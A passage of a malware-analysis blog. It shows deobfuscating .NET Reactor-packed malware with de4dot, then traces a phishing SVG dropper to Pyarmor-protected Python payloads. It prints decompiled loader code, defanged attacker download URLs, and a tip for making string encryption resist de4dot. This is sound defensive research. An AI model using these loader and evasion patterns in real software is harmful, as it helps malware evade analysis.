        .First<Type>()
        .InvokeMember(MapperFactoryAdapter.LoginConnection(-857235653 ^ -1181772793 ^ <Module>{4b736177-9522-4a80-a461-378c599d9c8d}.m_a5d71990efab4dc4a1801d81bc710517.m_327fb7ca8cde492882cd8691cd3b5b85), BindingFlags.InvokeMethod, null, null, null);
}

private static Assembly SortConnection()
{
    return Assembly.Load(ParamsConsumerComp.ResetConnection());
}

SetupConnection() is directly called by the entry point of the packed malware.

Essentially, we have the following sequence of events:

SortConnection() is called.
ResetConnection() is called to retrieve a byte array. If we were to look into that method, we’d see a huge byte array of around 300 KB and some crypto logic.
The byte array is loaded as a new .NET assembly and returned.
Back in SetupConnection(), a type is looked up based on some criteria.
InvokeMember is used on the type to get execution going.

If you’re wondering about the absurd method names: the obfuscator probably auto-generated them in some fashion to make things look somewhat legit when taking a very superficial glance.

Apart from some light obfuscation (you might have noticed the XOR operations and long hexadecimal field names, which are part of a string encryption mechanism), this could be called a text book example of .NET packing. Sometimes it won’t be quite so easy to spot - for example, the assembly loading could be buried deep into the call tree or control flow flattening might have been applied.

The most straight-forward way of dealing with this is to load the sample in dnSpyEx, set a breakpoint in Assembly.Load, and save the unpacked byte array to disk.

Alternatively, a tool like DotDumper could prove useful, especially in cases where the assembly loading part isn’t blatantly obvious in the packer. DotDumper is a neat tool in general, since it can reveal quite a lot about a sample via hooking and detailed logging.

Technique: Delegates / Proxies

Using delegates is a very popular technique to obfuscate method calls that are being made. The way this works is to wrap the call into an object (the delegate) and invoking the delegate instead of the original method. The severity of this obfuscation can range from ‘annoying’, where you can see what’s being called by just checking where the object is constructed, to ‘impossible by hand’, where it’s not possible to discern the call target without tooling support.

A simplistic example might look like this:

delegate void ObfuscatedDelegate();

static void CallMe() => Console.WriteLine("CallMe was called!");

static void Main()
{
    ObfuscatedDelegate obfuscatedCall = new ObfuscatedDelegate(CallMe);
    obfuscatedCall();
}

The construction of the delegate object doesn’t necessarily need to happen directly before the call; it could also be initialized as a static variable, for example, and then be used whenever CallMe should be called. You can see how this adds an indirection, because you need to look elsewhere for what obfuscatedCall() actually means. For a single method it’s manageable, but often enough, all calls in the assembly will get this treatment.

In the following we have a more complicated example, where each call target gets its own separate class:

internal sealed class SpecificationValue : MulticastDelegate
{
	public extern bool Invoke(object);

	public static bool WriteWorker(object A_0, SpecificationValue A_1)
	{
		return A_1(A_0);
	}

	public extern SpecificationValue(object, IntPtr);

	static SpecificationValue()
	{
		AnnotationParserInstance.RateIndexer(typeof(SpecificationValue).TypeHandle);
	}

	internal static SpecificationValue CountIssuer;
}

And the accompanying call:

var result = SpecificationValue.WriteWorker(model, SpecificationValue.CountIssuer)

We can see the method is supposed to take an object and returns a boolean, but we can’t see what function is actually called. WriteWorker takes the original call arguments plus an instance of the SepcificationValue class, which is taken from the static CountIssuer field, and then calls the delegate. However, the field does not have an apparent value assigned to it. We can see that the static constructor is doing something, and quite conspicuously, it passes a TypeHandle parameter, which is an indication that reflection is used to dynamically manipulate the class at runtime. It stands to reason that this RateIndexer call is responsible for assigning a value to CountIssuer.

public static void RateIndexer(RuntimeTypeHandle value)
{
  Type typeFromHandle = Type.GetTypeFromHandle(value);
  if (AnnotationParserInstance.m_InterpreterModel == null)
  {
    lock (AnnotationParserInstance._SpecificationModel)
    {
      Dictionary<int, int> mapping = new Dictionary<int, int>();
      BinaryReader binaryReader = new BinaryReader(typeof(AnnotationParserInstance).Assembly.GetManifestResourceStream("Value.Expression"));
      binaryReader.BaseStream.Position = 0L;
      byte[] array = binaryReader.ReadBytes((int)binaryReader.BaseStream.Length);
      binaryReader.Close();

      // <snip>, decrypt array and fill mapping

      AnnotationParserInstance.m_InterpreterModel = mapping;
    }
  }

  FieldInfo[] fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
  for (int m = 0; m < fields.Length; m++)
  {
    FieldInfo fieldInfo = fields[m];
    int metadataToken = fieldInfo.MetadataToken;
    int targetToken = AnnotationParserInstance.m_InterpreterModel[metadataToken];
    bool isVirtualCall = (targetToken & 0x40000000) > 0;
    targetToken &= 0x3fffffff;
    MethodInfo methodInfo = (MethodInfo)typeof(AnnotationParserInstance).Module.ResolveMethod(targetToken, typeFromHandle.GetGenericArguments(), new Type[0]);
    if (methodInfo.IsStatic)
    {
      fieldInfo.SetValue(null, Delegate.CreateDelegate(fieldInfo.FieldType, methodInfo));
    }
    else
    {
      // <snip>, dynimcally generate code for calling non-static method
    }
  }
}

The code above has been shortened and prettied up to only contain the most important pieces. Breaking it down, it performs the following steps:

It checks if the token mapping has already been loaded. If not:
1. An assembly resource is looked up and loaded into a byte array.
2. The byte array is decrypted with a custom algorithm.
3. Pairs of 32-bit integers are read from the byte array and inserted into a dictionary.
4. This dictionary will be the token mapping in m_InterpreterModel.
All static fields in the type of interest (our delegate class) are looked up. In the previous example, this is essentially just the CountIssuer field.
For each such field, its metadata token is used as an index into the token mapping dictionary to obtain a new token.
The new token is resolved into a method, which in turn is used to create a delegate object.
The delegate is assigned to the static field, solving the mystery of where its value comes from.

So, to sum it up, we get a mapping from static field tokens in the delegate types to the actual call target.

>> Short primer on .NET metadata tokens

Internally, types, methods, fields, and so on are not referenced by their name. Rather, .NET uses so-called metadata tokens, which are 32-bit integers that uniquely identify an entity in the current assembly. The integers consist of a metadata table index (upper 8 bits) and row index into the respective table (lower 24 bits, also called RID).

dnSpy shows the tokens as comments by default, and it also shows the decimal representation of the RID (0x927 equals 2343):
// Token: 0x04000927 RID: 2343
internal static SpecificationValue CountIssuer;
The table indexes are defined in the ECMA-335 spec - some important ones are:

02: TypeDef

04: Field

06: Method

0A: MemberRef (fields/methods located in other assemblies)

Table contents can be viewed directly in dnSpy by expanding the Tables Stream under PE -> Storage Stream #n in the Assembly Explorer.

Some examples from our obfuscated assembly:

04000479 -> 0A0001D3 System.Void System.Environment::Exit(System.Int32)
0400047A -> 060009EC System.Void ProtoBuf.Listeners.MessageModelListener::EnableDatabase()
0400047B -> 060009F2 System.Void Dbpkc.Maps.RoleAuthenticationMapping::kLjw4iIsCLsZtxc4lksN0j()
0400047C -> 0A0001D4 System.Void System.Threading.Timer::Dispose()

As can be seen, the targets can be either references to the class library (0A) or references to methods in the malware (06).

Deobfuscation with de4dot

On the surface, breaking this type of obfuscation is easy. Obtain the mapping, find all delegate call sites, and replace the calls with their real targets. In fact, finding the call sites and replacing them is something that is pretty much entirely handled by de4dot - you just need to tell it how to identify the delegate classes and provide the mapped call. There are ProxyCallFixer classes that can be inherited from when adding code for a new deobfuscator. The classes are numbered from 1 to 4, which is not terribly helpful, but comments above the classes describe what sort of situation they apply to.

In our case, ProxyCallFixer3 would be the most appropriate, because our call sites consist of static methods, and a delegate instance is pushed as last parameter:

// Fixes proxy calls that call a static method with the instance of
// a delegate as the last arg, which then calls the Invoke method.
//		...push args...
//		ldsfld delegate instance
//		call static method
public abstract class ProxyCallFixer3 : ProxyCallFixer1

When inheriting from this class, there’s a bare minimum of three things you need to do:

Override GetCallInfo
Override CheckCctor
Call SetDelegateCreatorMethod in constructor

That’s all. Next, you instantiate your fixer class, call Deobfuscate, and it’ll work its magic. You don’t need to worry about things like replacing IL instructions at call sites - it’s all handled for you.

GetCallInfo

We’re going to start with GetCallInfo, because it’s pretty straight-forward. It’s called when de4dot wants to map a delegate field to the actual called method. You need to provide the called method and the IL opcode for the call, which is mostly either going to be Call or Callvirt.

protected override void GetCallInfo(object context, FieldDef field, out IMethod calledMethod, out OpCode callOpcode) {
  calledMethod = null;
  callOpcode = null;

  if (_mapping == null || !_mapping.TryGetValue(field.MDToken.ToInt32(), out var mappedToken)) {
    return;
  }

  bool virtFlag = (mappedToken & 0x40000000) > 0;
  mappedToken &= 0x3fffffff;
 
  calledMethod = module.ResolveToken(mappedToken) as IMethod;
  callOpcode = virtFlag ? OpCodes.Callvirt : OpCodes.Call;
}

You may recognize some of the code from the RateIndexer method above, especially the bit masking. This is not surprising, because the token values obtained from the mapping need to be interpreted in the same way that the obfuscator handles them.

SetDelegateCreatorMethod

One slightly less intuitive thing that you need to do is call SetDelegateCreatorMethod - for example in the constructor of your derived class. It’s easy to miss because the compiler doesn’t force you to do it, but if you don’t, your new code will simply do nothing, because the base class will bail early in a bunch of places. It expects a MethodDef parameter, which, as the name says, is the obfuscator method that creates delegates.

In our case, that’s the RateIndexer method. Finding this method programmatically can, for example, be done by iterating over all types in the assembly, inspecting those that have a static constructor (cctor), and checking if the cctor has a single call to a method taking a RuntimeTypeHandle parameter.

In the end, de4dot itself doesn’t do much with this information - it’s mainly used to detect that the current binary can in fact be deobfuscated with the custom proxy call fixer.

CheckCctor

Finally, you need to override the method object CheckCctor(ref TypeDef type, MethodDef cctor).

This method is called for every delegate type that has a static constructor and has at least one field. You need to analyze whether this is in fact a delegate type that can be handled. One could re-use parts of the logic from above to, again, check if we see a call to a method that looks like RateIndexer.

If the type/cctor looks fitting, an object called context needs to be returned. This can be any object of your choosing, as long as it is not null. It is simply passed to each call of GetCallInfo and de4dot itself doesn’t do anything with it. You can use it to store extra info you’ve gathered in CheckCctor so you don’t need to find the info twice, but many obfuscator types don’t require anything here, meaning you can return new object() or even this, since it literally does not matter.

What about the encrypted mapping?

So far, we’ve glossed over the fact that we still need to get hold of the token-to-token mapping and have just assumed that there’s a _mapping in GetCallInfo.

Since we’ve established that the decryption code is individually generated per protected binary, we have little choice but to run that exact code and apply it to the byte array of the encrypted resource. Finding the resource itself and fetching its data using dnlib is trivial - just check what string is being passed to a call to GetManifestResourceStream.

For the decryption code, we have several options with de4dot:

Load the assembly and directly call the decryption code via reflection. This is the easiest method by far, but also the most dangerous one, since you’ll be executing arbitrary code from a potentially malicious binary.
Isolate the decryption code and copy it to a new temporary in-memory assembly. This works well if the code has very local behavior and does not make any calls. It’s reasonably safe, because you can add safety checks for the IL code to disallow certain instructions (skipping deobfuscation if something seems fishy).
Use IL emulation - de4dot offers an instruction emulator for algorithmic code (no calls, no allocations) that would be applicable to our case. The tricky part is to find the proper start and end point for emulation - but the same also goes for the option above.

We initially went for the isolation path, and it worked well.

As we became more familiar with this obfuscator, we realized that de4dot already had support for it (albeit broken)! It turns out that what we’ve been dealing with is in fact .NET Reactor, one of the more popular obfuscators still around.

The existing code in de4dot is relying on instruction emulation. It was broken because it had trouble identifying the proper start/end points for emulation, thus being unable to properly decrypt the resource containing the mapping. The old code would first locate the end point (which is marked by a series of conv instructions), and from there it would iterate upwards to find the start. It did so by counting how many unique local variables it encountered. This is a somewhat brittle strategy, because temporary variables can easily be added, thus their count may fluctuate. We changed it up to look for a ldelem instruction instead and then go down again until there is a ldloc. You can find the diff for our changes here.

/* 0x00033826 91           */ IL_0136: ldelem.u1
/* 0x00033827 60           */ IL_0137: or
/* 0x00033828 130A         */ IL_0138: stloc.s   V_10
//                 <start of crypto algo>
//                         num3 = num3;
/* 0x0003382A 1109         */ IL_013A: ldloc.s   V_9
/* 0x0003382C 1309         */ IL_013C: stloc.s   V_9

//                         uint num9 = num3;
/* 0x0003382E 1109         */ IL_013E: ldloc.s   V_9

//                         uint num10 = num3;
/* 0x00033830 1109         */ IL_0140: ldloc.s   V_9

//                         uint num11 = 114135216U;
/* 0x00033832 20B090CD06   */ IL_0142: ldc.i4    114135216
/* 0x00033837 FE0E2600     */ IL_0147: stloc     V_38
//                    .......

Before and after

WatcherWatcher.WriteWorker(WorkerWatcher.WriteWorker(WorkerWatcher.ConnectWorker), new UnhandledExceptionEventHandler(MappingTagDescriptor.SetupFactory), WatcherWatcher.ConcatWorker);
FieldWatcher.WriteWorker(FieldWatcher.CallWorker);

AppDomain.CurrentDomain.UnhandledException += MappingTagDescriptor.SetupFactory;
Authentication.ForgotFactory();

The first call adds an unhandled exception handler. After deobfuscation, the decompiler is able to turn it into idiomatic C# code with the += syntax. The SetupFactory and ForgotFactory methods still sound weird, but they’re not delegates - they’re proper methods in the malware that were renamed by the obfuscator.

Technique: String encryption

As the author of a string encryption scheme, you need to put in some work. This is because de4dot supports multiple strategies for dealing with string encryption, and if you implement a naive scheme, de4dot will be capable of breaking it without having to write a single line of custom deobfuscation code.

The strategies de4dot supports via the --strtyp parameter are:

Static: Specialized code for the detected obfuscator is used in order to deobfuscate strings without directly executing code from the target assembly. This only works when de4dot has an implementation for the particular obfuscator.
Delegate: The target assembly is loaded and the original, unmodified string decrypter method is invoked for each string.
Emulate: This is somewhat misnamed. There is no instruction emulation going on; it does actually execute IL code. In terms of methodology, it’s similar to the Delegate decrypter type. The difference is that the code is processed/rewritten and checked for anti-deobfuscation measures first. Such measures include checking the calling assembly, or checking the stack frame for entries that are not supposed to be there (if de4dot calls the decryption method, de4dot’s methods will show up in the frame). Any discovered checks are patched in such a way that nothing incriminating shows up.

Delegate and Emulate require an additional --strtok <token> parameter that specifies the decrypter method, which has to be identified by manually looking at the assembly. The parameter may be specified multiple times if multiple such methods exist.

Consider this simple example that has two AES-encrypted strings accessed via an index:

public static class StrCrypto
{
    private static readonly string[] _strings = 
    {
        "9guJzfcL9QVZQkZLtBT/ug==",
        "He8w3I012LDGTbGD7x+4VQ=="
    };
    public static string GetString(int index)
    {
        var crypted = Convert.FromBase64String(_strings[index]);
        var aes = new RijndaelManaged();
        aes.Mode = CipherMode.ECB;
        aes.Padding = PaddingMode.PKCS7;
        var decryptor = aes.CreateDecryptor(Encoding.ASCII.GetBytes("any16charswilldo"), null);
        var decrypted = decryptor.TransformFinalBlock(crypted, 0, crypted.Length);
        return Encoding.UTF8.GetString(decrypted);
    }
}

// Usage, e.g., in Main():
Console.WriteLine(StrCrypto.GetString(0));
Console.WriteLine(StrCrypto.GetString(1));

If you compile this and run de4dot --strtyp delegate --strtok 06000003, you’ll obtain the following code with all references to GetString gone. Note: 06000003 is the token of GetString and may differ in your binary.

// After de4dot
Console.WriteLine("Hello");
Console.WriteLine("World");

So the question is, what does one need to do so de4dot’s delegate/emulate strategies don’t work out of the box? The answer is, not much.

// In StrCrypto, introduce a static field:
public static int Offset = -2;

// In GetString, add it to the index parameter:
var crypted = Convert.FromBase64String(_strings[Offset + index]);

// In calls to GetString, pass a sum:
Console.WriteLine(StrCrypto.GetString(StrCrypto.Offset + 2));
Console.WriteLine(StrCrypto.GetString(StrCrypto.Offset + 3));

If you now attempt deobfuscation, you’ll get WARNING: Could not find all arguments to method System.String ConsoleApplication1.StrCrypto::GetString(System.Int32) (06000003), instr: IL_0006: add. It chokes on the sum, because de4dot will not attempt to obtain the value of fields. That’s because, for the generic case, it’s not clear whether a field’s value is really constant or if it might be assigned in multiple places. Another complication is that the field’s initial value (-2) is not part of the metadata for the field declaration or anything like that. It’s set in IL code in an auto-generated static constructor, so if you want the value, you need to parse the code.

This is the approach .NET Reactor has taken, except that their fields are not static (but still constant) and that they have many such fields.

.NET Reactor

Similar to the method delegates we saw earlier, the strings are stored in another embedded .NET resource. It’s encrypted with two layers: AES and more of the custom crypto we saw earlier. The decryption method that is called whenever a string is needed takes an offset parameter. At this offset in the resource, there’s a 32-bit integer specifying the length of the string, followed by UTF-16 string data.

de4dot has a static string deobfuscator for .NET Reactor. In this instance, the de4dot code was suffering from the same emulation bounds problem we already fixed. With the fix, the string resource was getting decrypted successfully - however, the actual string deobfuscation still failed due to the above-mentioned field technique. Typically, you can avail yourself of de4dot’s inlining facilities and simply call staticStringInliner.Add(theDecryptMethod, (method, gim, args) => stringDecrypter.Decrypt((int)args[0])). This will look for all references to the obfuscator’s decrypt method (theDecryptMethod), pass the argument of each call site to your static decrypter, and then replace the call with a direct load of the decrypted string (that’s why it’s called inliner). Sadly, it runs into the same warning we saw earlier about not being able to find all parameters, so we cannot make use of the inliner for this version of .NET Reactor.

So, we ended up manually iterating over code, checking for string decryption calls and properly parsing the argument (consisting of an XOR of a field and a 32-bit constant). The constant field values are obtained by first looking for a method that has many ldc.i4 (load integer constant) and stfld (store field) instructions, and then going through them one by one and pairing them up to get a field name → constant mapping. With de4dot’s little helpers and generally good support for working with IL code, the fix for this came out to around 80 lines - not too bad at all.

Update (2026): A better fix is to update the CflowConstantsInliner, which was originally built to handle a slightly different form of field-based obfuscation in older .NET Reactor versions.

Before and after

ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(
  AnnotationParserInstance.RegisterIndexer(
    2006988233 ^ <Module>{eda734e7-e71c-4abd-ae26-a8ec222af5ee}.m_d30267c0a00f44b5bec1a2d65bcab519.m_75c1500b23e14cdb9b27f078275c425a
  ),
  AnnotationParserInstance.RegisterIndexer(
    1912974033 ^ <Module>{eda734e7-e71c-4abd-ae26-a8ec222af5ee}.m_d30267c0a00f44b5bec1a2d65bcab519.m_cd6b2680ab2d441381513c7d9cf6dfd5
  )
);

ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntiVirusProduct");

Note: In a raw protected assembly, there will be more bitwise operations around the XOR. They’re folded by de4dot’s constant folding pass, which is always applied as part of generic code deobfuscation.

de4dot situation

de4dot has been around since 2011, and it is still able to make a difference for many binaries even when only relying on its generic algorithms, but unfortunately, the original project has been unmaintained since 2020. As a result, it has been forked many times over the years. Whenever someone wanted to implement a new deobfuscator, they’d fork the original repo and add their code. Sometimes, other forks were used as a base, e.g., mobile46’s fork was popular for a time.

This led to a lot of fragmentation, which is unfortunate for a couple of reasons:

Forks that applied minor fixes to existing code are very hard to discover, because you cannot search for them with terms like <new obufscator name> de4dot.
Often, it’s not exactly clear which obfuscator was used on an assembly. This is where de4dot’s detection logic comes in handy, but if there are 5 forks for 5 different obfuscators, that means you need to try 5 different binaries.

Since it seems there has been no concerted effort to combine the fixes and additions people have made over the years into a single build, we have decided to do so.

The result: de4dotEx!

This fork contains code for deobfuscating ConfuserEx, DoubleZero, VirtualGuard and more. It also contains various fixes for existing deobfuscators made by mobile46, andywu188, KOLANICH, kant2002 and others.

We’ll try to keep integrating any new forks that come up, and of course, we’d also be delighted to accept pull requests!

PS: We are aware that there are tools like NETReactorSlayer that are excellent for unprotecting .NET Reactor binaries. Nevertheless, we found this to be a good opportunity to get more familiar with .NET internals and deobfuscation tooling development.

The examples in this post are from the following sample (SHA256): 9f77007884de82a836b19ee01e162a4d4075351c1938b496697258709600566f

Unpacking Pyarmor v8+ scripts

Wed, 12 Feb 2025 13:00:00 +0000

Intro

On a rainy Friday around lunchtime, we received a phishing email saying we had an unpaid invoice, with an attached SVG file. We chose to analyze it as an exercise, with the goal to burn the attackers’ C2 IP addresses and malware samples. But what was planned as a Friday afternoon exercise turned into a journey deep down the rabbit hole…

Malware dropper

When opening the .SVG file in a web browser, the contained JavaScript code is executed, which extracts a .HTM file from a base64 blob and “downloads” it. The .HTM file shows the user a blurred document, roughly looking like an invoice, overlaid with a message telling the user that the browser does not support the correct display of the message and the user should click the “Open” button to display the file locally, as you can see in figure 1:

Figure 1: Screenshot of the downloaded .HTM file

The “Open” button is linked to a JavaScript function that opens the Windows Search with a WebDAV path to the attackers’ server, as one can see in the code below.

Figure 2: JavaScript code abusing Windows Search

Thus, we have found the first domain used by the attackers: binary-acceptance-hotel-difficult[.]trycloudflare[.]com.

Following the WebDAV path, we found a simple file listing, showing a folder called ge, as well as the files lamoor.vbs and WSJ25F.bat. Unfortunately, we did not investigate the content of ge further at this point, and it was not available anymore when revisiting the server later. lamoor.vbs is a simple VBScript that downloads and executes a file also called WSJ25F.bat from the URL msc4dfl1ed7eb485ad6ahelixpflanzen[.]de@5029\DavWWWRoot\WSJ25F.bat, which has the same content as the WSJ25F.bat on the server investigated here.

So inside lamoor.vbs we have found a second domain used by the attackers: msc4dfl1ed7eb485ad6ahelixpflanzen[.]de.

WSJ25F.bat is an obfuscated batch script, which begins as follows:

:: ▄▄▄▄    ▄▄▄     ▄▄▄█████▓ ▄████▄   ██░ ██   ██████  ██░ ██  ██▓▓█████  ██▓    ▓█████▄ 
:: ▓█████▄ ▒████▄   ▓  ██▒ ▓▒▒██▀ ▀█  ▓██░ ██▒▒██    ▒ ▓██░ ██▒▓██▒▓█   ▀ ▓██▒    ▒██▀ ██▌
:: ▒██▒ ▄██▒██  ▀█▄ ▒ ▓██░ ▒░▒▓█    ▄ ▒██▀▀██░░ ▓██▄   ▒██▀▀██░▒██▒▒███   ▒██░    ░██   █▌
:: ▒██░█▀  ░██▄▄▄▄██░ ▓██▓ ░ ▒▓▓▄ ▄██▒░▓█ ░██   ▒   ██▒░▓█ ░██ ░██░▒▓█  ▄ ▒██░    ░▓█▄   ▌
:: ░▓█  ▀█▓ ▓█   ▓██▒ ▒██▒ ░ ▒ ▓███▀ ░░▓█▒░██▓▒██████▒▒░▓█▒░██▓░██░░▒████▒░██████▒░▒████▓ 
:: ░▒▓███▀▒ ▒▒   ▓▒█░ ▒ ░░   ░ ░▒ ▒  ░ ▒ ░░▒░▒▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░▓  ░░ ▒░ ░░ ▒░▓  ░ ▒▒▓  ▒ 
:: ▒░▒   ░   ▒   ▒▒ ░   ░      ░  ▒    ▒ ░▒░ ░░ ░▒  ░ ░ ▒ ░▒░ ░ ▒ ░ ░ ░  ░░ ░ ▒  ░ ░ ▒  ▒ 
::  ░    ░   ░   ▒    ░      ░         ░  ░░ ░░  ░  ░   ░  ░░ ░ ▒ ░   ░     ░ ░    ░ ░  ░ 
::  ░            ░  ░        ░ ░       ░  ░  ░      ░   ░  ░  ░ ░     ░  ░    ░  ░   ░    
::       ░                   ░                                                     ░            
::
::                          !! Obfuscated By Batchsield !!


@%RlreyKGxSD%e%KDuXrBAYVA%c%cr%h%fOG%o%dXTcycKBB% %jenTylt%o%svFuxrt%f%wJQUX%f%urSNrd%
s%mEVT%e%Hujf%t%q%l%BFWpZo%o%bOtHT%c%I%a%GAUPbqqJAU%l%I%

:: Function to search for and open a PDF file in the Downloads folder
:%PxD%:%U% %iXXMVGf%F%ylMX%u%dJuIOerMzw%n%Vyn%c%gZAW%t%ueGJ%i%DoAK%o%Emx%n%OQeP% %sYsxJnvlz%t%jsTSJ%o%Ys% %oFjxCobCGv%s%dCC%e%ELvWRgh%a%VaTX%r%jdAfeLw%c%SrJltK%h%Qp% %Qv%f%HrfzfVu%o%ZZFKiUBU%r%URNZhmKy% %Nuatq%a%qiwUtK%n%I%d%ekA%

As one can see, the obfuscation mainly consists of inserting multiple non-defined variables into the code (and yes, they can’t even spell their own obfuscator’s name properly). Interestingly, the comments inside the script are not obfuscated at all. When searching for “Batchshield deobfuscator” on the internet, one can easily find tools that can deobfuscate this script. However, some of those tools remove all the variables, including the legitimate ones!

The content of the deobfuscated script is only briefly described, as the focus of this blog post is on the later stages of the malware.

Open all PDF files inside the Downloads folder
Download JAAPW.zip and MSVP.zip from hxxp://qed245t3kreiscryoz-gueterslohewr33w[.]de[:]7719
Extract the ZIP files to the paths \Downloads\Support and \Downloads\OneDrive

echo Running Python scripts...
cd /d "\Downloads\OneDrive\Python\Python312"
python.exe BArown.py
python.exe CASrest.py
python.exe DXreame.py
python.exe ASTRILNOV1.py

Download NFC.bat from the same URL and move it to the user’s startup folder
Delete temporary ZIP files

The startup file changes the directory to %Userprofile%\Downloads\Support\Python312 and executes the Python scripts EAdate.py, FAScis.py, GXrop.py and HPUope.py, which probably contain the actual payload (?), using the custom python interpreter.

And here is a third domain used by the attackers: qed245t3kreiscryoz-gueterslohewr33w[.]de. All the domains and download URLs were reported to URLhaus. This led to malware dropper domains landing on several block lists within only a few hours after the malware distribution campaign started.

But what about the Python scripts, the actual payload of the malware campaign? Upon opening one of the scripts, we were greeted by this monstrosity:

# Pyarmor 9.0.7 (pro), 007106, non-profit, 2025-01-08T19:48:44.467478
from pyarmor_runtime_007106 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY007106\x00\x03\x0c\x00\xcb\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\xdd\x91\x07\x00\x12\t\x06\x00,\xfe5\xb2\x83o\x1ci\x1d?\xabs\'\xc3\x10f\x00\x00\x00\x00\x00\x00\x00\x00\xb7\xd1X\xea\x17\xd4\xc4\xb2o\x9c<\xb3n\xe2\x00\xf0_l:\xa2\x11\x10Pv\x04]\xf1t\xc3\xd6\x0e\x8b\xf9 \xa3\x84X\xcd\xbaB\x94\x94D\x9b\x90Q\xfd\x93f <snip>

The bytes string goes on like that for the rest of the file.

This successfully nerd-sniped our malware analysis team ;)

Pyarmor

Pyarmor is a product for protecting Python scripts from reverse engineering. It also offers licensing features, such as binding scripts to specific hardware or outfitting scripts with a kill date. Sadly, as is often the case with such products, it is also occasionally abused by malware in order to hide malicious code.

There are a couple tools out there for unpacking Pyarmor, such as PyArmor-Unpacker, but they’re not compatible with the latest v8/v9 versions. Other tooling that does claim to be compatible with v8+ uses a rather simplistic memory dumping technique, where it’s not guaranteed that all code (or any bytecode at all) will actually be decrypted. The reason will become clear later in this post.

In the following we are going to provide insights into how Pyarmor works and offer some scripts that help make the original code visible via static unpacking. It should also be noted that Pyarmor supports multiple protection modes, including one called bcc mode where Python code is compiled into native code. This poses additional challenges that are not covered here, but the same basic principles and crypto primitives should be used.

Please note that we will explicitly not provide an all-in-one unpacking solution - if that’s why you’ve come here, you might as well stop reading right now.

Basic functionality

As can be seen in the snippet shown earlier, all the script does is importing a function called __pyarmor__ and calling it. pyarmor_runtime_007106 is a directory in the Python interpreter directory that was shipped with the malware. It contains a native module written in C called pyarmor_runtime.pyd (essentially a 64-bit DLL) and a simple __init__ script that again imports __pyarmor__ from .pyarmor_runtime. This is so that the main script can import the function from pyarmor_runtime_007106 without a further indirection.

The native module exports a single function that is called by the Python interpreter for initialization purposes. It creates a PyModule object by passing the following structure to PyModule_Create2:

Figure 3: Pyarmor PyModule struct, complete with helpful doc strings

From this, we can glean several pieces of information:

The user data portion of the module spans 0xC0 bytes
The module exposes just a single method
We get the function pointer for the native __pyarmor__ implementation

A bit further down in the PyInit export function, the following code can be found:

  *(_DWORD *)(v21 + 48) = 8;
  *(_QWORD *)(v21 + 56) = 0LL;
  *(_QWORD *)(v21 + 32) = "C_ASSERT_ARMORED_INDEX";
  *(_QWORD *)(v21 + 40) = c_assert_armored; // func
  v23 = PyCMethod_New(v21 + 32, module, module, 0LL);
  if ( !v23 )
    goto LABEL_58;
  md_state->pMethods[1] = v23;
  *(_DWORD *)(v21 + 80) = 8;
  *(_QWORD *)(v21 + 88) = 0LL;
  *(_QWORD *)(v21 + 64) = "C_ENTER_CO_OBJECT_INDEX";
  *(_QWORD *)(v21 + 72) = c_enter_co_object; // func
  v24 = PyCMethod_New(v21 + 64, module, module, 0LL);
  if ( !v24
    || (md_state->pMethods[2] = v24,
        *(_DWORD *)(v21 + 112) = 8,
        *(_QWORD *)(v21 + 120) = 0LL,
        *(_QWORD *)(v21 + 96) = "C_LEAVE_CO_OBJECT_INDEX",
        *(_QWORD *)(v21 + 104) = c_leave_co_object, // func
        (v25 = PyCMethod_New(v21 + 96, module, module, 0LL)) == 0) )

This registers three additional C functions that apparently work on code (co) objects. Code objects are low-level representations of compiled Python bytecode, encompassing all details required for code execution. For example, the main body of a script is a code object, as well as each respective function defined within the body. The enter and leave functions will become important later on.

In terms of strings, the library contains quite a few cryptography-related strings, including source file paths. A quick search revealed that we’re dealing with libtomcrypt, which was statically linked into the library. We created a signature file for this library so that we can automatically name most functions belonging to libtomcrypt in the Pyarmor module. For good results, it’s important to match the library version and compiler as good as possible when creating the signatures. According to strings in the .rdata section, both GCC 6.4.0 and 7.4.0 were used for compilation. After some trial and error, we got a good match with libtomcrypt v1.18.2 and GCC 6.4.0. The resulting FLIRT signature is part of the GitHub repo we published as part of this work.

Quick recap of what we have so far:

We know where calls to __pyarmor__ land in the native module
We found functions that deal with entering/leaving code objects
We can see all places where libtomcrypt is used for cryptographic operations in the module

Cryptography

Pyarmor uses libtomcrypt for the following purposes:

Verifying some RSA signature (this is nothing we really care about)
Deriving a key with MD5
Ciphering data with AES-GCM (Galois Counter Mode)

Key derivation

The key derivation function is called towards the end of the PyInit export, after the RSA verification and some more checks on the module filename.

void get_key_via_md5(__int64 signature, __int64 digest)
{
  __m128i si128; // xmm0
  char v6[456]; // [rsp+20h] [rbp-1C8h] BYREF

  md5_init(v6);
  md5_process(v6, aPyarmorVax, 20LL); // "pyarmor-vax-007106\x00\x00"
  md5_process(
    v6,
    (char *)&unk_64944060 + g_dword_64944050_0x20_rsaoffset,
    (unsigned int)g_dword_64944054_0x10E_rsakeylen); // rsa key
  md5_process(v6, signature + 32, *(unsigned int *)(signature + 4));
  si128 = _mm_load_si128((const __m128i *)&xmmword_649499C0); // vector with all bytes set to 0xF1
  xmmword_64948140 = (__int128)_mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_64948140), si128);
  /* <snip> - more XORs with 0xF1 */
  byte_6494824A ^= 0xF1u;
  byte_6494824B ^= 0xF1u;
  LOBYTE(word_6494824C) = word_6494824C ^ 0xF1;
  HIBYTE(word_6494824C) ^= 0xF1u;
  md5_process(v6, &xmmword_64948140, 0x10ELL);
  memset(&xmmword_64948140, 0, 0x108uLL);
  *((_DWORD *)&xmmword_64948140 + 66) = 0;
  word_6494824C = 0;
  md5_done(v6, digest);
}

Essentially all data that goes into this key computation is static. The only slightly “dynamic” part is the region of 0x10E bytes that is XOR-decoded at runtime, and then cleared after being processed by MD5 - it seems to be yet another RSA key, apart from the plain RSA key that is being hashed in the second call to md5_process. The signature parameter, passed from the caller, is located in the same general unk_64944060 memory region in the .data section.

So to obtain the key specific to your Pyarmor runtime, you can either attach a debugger to a Python interpreter and break after the derivation function has been called, or you can compute it statically. We wrote an IDAPython script that follows the latter route. With some tinkering, the same could be achieved using pefile or similar libraries.

The resulting digest is then directly used as AES-128 key.

GCM

